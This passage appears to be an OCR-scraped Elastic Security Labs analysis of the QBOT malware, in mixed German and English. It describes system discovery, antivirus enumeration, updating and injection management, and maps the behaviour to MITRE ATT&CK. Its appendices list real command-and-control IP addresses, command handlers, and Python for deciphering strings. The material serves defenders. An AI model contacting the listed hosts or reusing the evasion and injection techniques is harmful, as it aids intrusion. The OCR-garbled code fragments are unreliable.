I[Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-
analysis/2gbot.png)

The public key comes from a hardcoded XOR-encrypted data blob.
I[Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)
Computer information gathering

Part of QBOT communication with its command and control is sending information about the computer. Information are
gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:
![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)

MARE : : GetWString1(xCIEu) ;// b’ RODT\\CTMV2\x@6 "
GetWStringl(@x32u); // b'Win32_ComputerSystem\x@8"

i} n32_Bios\x@'

1 n32_DiskDrivelx28’

o4 n32_PhysicalMemory\x2@"

:GetStringl (8x299u); // b'win32_Product\xoe"

etiStringl (@xD3u); // b'Win32_PnPEntity\xee’

:GetWStringl(Bx4B5u); // b'Caption,Description,Vendor,Version, InstallDate, InstallSource, Packageliame \x@8"

etustringl(Ox64lu); // b'Caption,Description,DeviceID,Manufacturer,Name,PNPDevicelD, Service, Status\xee’

Computer information gathering 2/2
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One especially interesting procedure listed installed antivirus via WMI:

*ctf::@etInstalledAntivirus()

wchar_t
i
wchar t *ve; // ebx
size_t w2; // eax
unsigned int w3; // esi
unsigned int w4; // edi
wchar_t *v5; // eax
WCHAR WideCharStr[12]; // [
VARIANTARG pvarg; // [esp+
ctf:WMI *pp buffer; //
wchar_t *p_w_class; // [
wechar_t *p_w_query; // [esp+48h]

]

MAR
= MAR

GetWStringl(BxA3Eu); /7 b’ root\\SecurityCenter2\xpe’
GetWMI(p s);

Ty N R T I IR N VR, R S VR )

MARE: :WDeleteString(&p w class);
if ( lpp_buffer )

MARE: :GetWStringl (@x3F5u); // b'SELECT * FROM AntiVirusProduct\xee'
MARE: :GetWStringl(@x7C2u); £/ b'displayName\x88"

R e e

L R RN

QBOT listing installed antivirus via a WMI command
Update mechanism

QBOT can receive updates from its command and control. The new binary will be written to disk, executed through a

command line, and the main process will terminate.

I[QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)
I[QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8gbot.png)
Process injection manager

QBOT has a system to keep track of processes injected with binaries received from its command and control in order to
manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in

case it has to stop execution and recover execution when restarted.

To do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and

control, and a list of running injected processes:

ect[k].field 10 =
ol _inject[k].enabled = 1;
f ( MARE::SerializeDllToInjectArrayAndUpdateConfigurationFile(p d

MARE: :GetGlobalInjectedProcessIndexById(id);
dex >= @ )

[k].id,

147 [k].p_bs4 d11,
148 _to inject[k].field_1e,
143

15@ 3

QBOT’s list of DLL to inject received from its command and control.

167 g _injected processes[index].id = id;

168 g injected_processes[index].is_running = 1;

169 E_injected processes[index].h_event = h_event;

178 g_injected processes[index].h_process = process_infos.hProcess;

QBOTs list of running injected processes
Fazit

The QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful
modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery

mechanism for additional malware and post-compromise activity.

Elastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access
these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized
training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free
14-day trial of Elastic Cloud.

MITRE ATT&CK Tactics and Techniques
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MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world
observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and

methodologies in the private sector, in government, and in the cybersecurity product and service community.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund fiir die

Ausfiihrung einer Aktion.

e Tactic: Rechteausweitung

¢ Tactic: Tarnung

e Tactic: Discovery

e Tactic: Command and Control
Techniques / Sub Techniques
Techniken und Untertechniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausfiihrt.

e Technique: Prozessinjektion (T1055)

o Technique: Registrierung dndern (T1112)

o Technique: Verschleierte Dateien oder Informationen (T1027)

o Technique: Obfuscated Files or Information: Indicator Removal from Tools (T1027.005)

o Technique: S
Technique: Application Window Discovery (T1010)
o Technique: Datei- und Verzeichniserkennung (T1083)

e Technique: Erkennung von Systeminformationen (T1082)

e Technique: System Location Discovery (T1614)

e Technique: Softwareerkennung: Sicherheitssoftwareerkennung (T1518.001)
e Technique: Systembesitzer-/Benutzererkennung (T1033)
 Technique: Application Layer Protocol: Web Protocols (T1071.001)

Beobachtungen

While not specific enough to be considered indicators of compromise, the following information was observed during

analysis that can help when investigating suspicious events.
File System

Persistence folder
**%APPDATA%\Microsoft\[Random Folder]**
Beispiel:
**C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys**

Registry

Scan Exclusion
**HKLM\SOF TWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]**
Beispiel:
**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blggeaf**

Konfiguration

Konfiguration
**HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value @]**
Beispiel:

**HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Sof tware\Microsoft\Silhmfua\28e2a7e8**
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Appendices

Appendix A (extracted network infrastructure)

1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202

Appendix B (command handlers)

ID Handler

0x1 MARE::rpc::handler::CommunicateWithC2

0x6 MARE::rpc::handler::EnableGlobalRegistryConfigurationValuekOx14

0x7 MARE::rpc::handler::DisableGlobalRegistryConfigurationValuekOx 14

Oxa MARE::rpc::handler::KillProcess

0xc MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1
0xd MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEventO
Oxe MARE::rpc::handler::DoEvasionMove

0x12 MARE::rpc::handler::NotImplemented

0x13 MARE::rpc::handler::Upload AndRunUpdatedQBOTO

0x14 MARE::rpc::handler::Unk0

0x15 MARE::rpc::handler::Unk1

0x19 MARE::rpc::handler::UploadAndExecuteBinary

0x1A MARE::rpc::handler::Upload AndInjectDII0

0x1B MARE::rpc::handler::DolnjectionFromDIl ToInjectByStr

0x1C MARE::rpc::handler::KillInjectedProcessAndDisableDll ToInject
0x1D MARE::rpc::handler::Unk3

0x1E MARE::rpc::handler::KillInjectedProcessAndDolnjectionAgainByStr
O0x1F MARE::rpc::handler::FastInjectdll

0x21 MARE::rpc::handler::ExecuteShellCmd

0x23 MARE::rpc::handler::UploadAndInjectDIl1

0x24 MARE::rpc::handler::UploadAndRunUpdatedQBOT1

0x25 MARE::rpc::handler::SetValueToGlobalRegistryConfiguration

0x26 MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration
0x27 MARE::rpc::handler::ExecutePowershellCmd

0x28 MARE::rpc::handler::Upload AndRunDlIWithRegsvr32

0x29 MARE::rpc::handler::Upload AndRunDIIWithRundll32

Appendix C (string deciphering implementation)

def decipher_strings(data: bytes, key: bytes) -> bytes:

result = dict()

current_index = @

current_string = list()

for i in range(len(data)):
current_string.append(data[i] » key[i % len(key)])
if data[i] == key[i % len(key)]:

result[current_index] = bytes(current_string)

current_string = list()
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current_index = i + 1

return result

Appendix D (resource deciphering implementation)

from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1

def decipher_data(data: bytes, key: bytes) -> tuple[bytes, bytes]:
data = ARC4.ARC4Cipher(SHA1.SHATHash(key).digest()).decrypt(data)
return data[20:], data[:20]

def verify_hash(data: bytes, expected_hash: bytes) -> bool:
return SHAT.SHATHash(data).digest() == expected_hash

def decipher_rsrc(rsrc: bytes, key: bytes) -> bytes:
deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
if not verify_hash(deciphered_rsrc, expected_hash):
deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
if not verify_hash(deciphered_rsrc, expected_hash):
raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')

return deciphered_rsrc

Source: https://www.elastic.co/de/security-labs/qbot-malware-analysis
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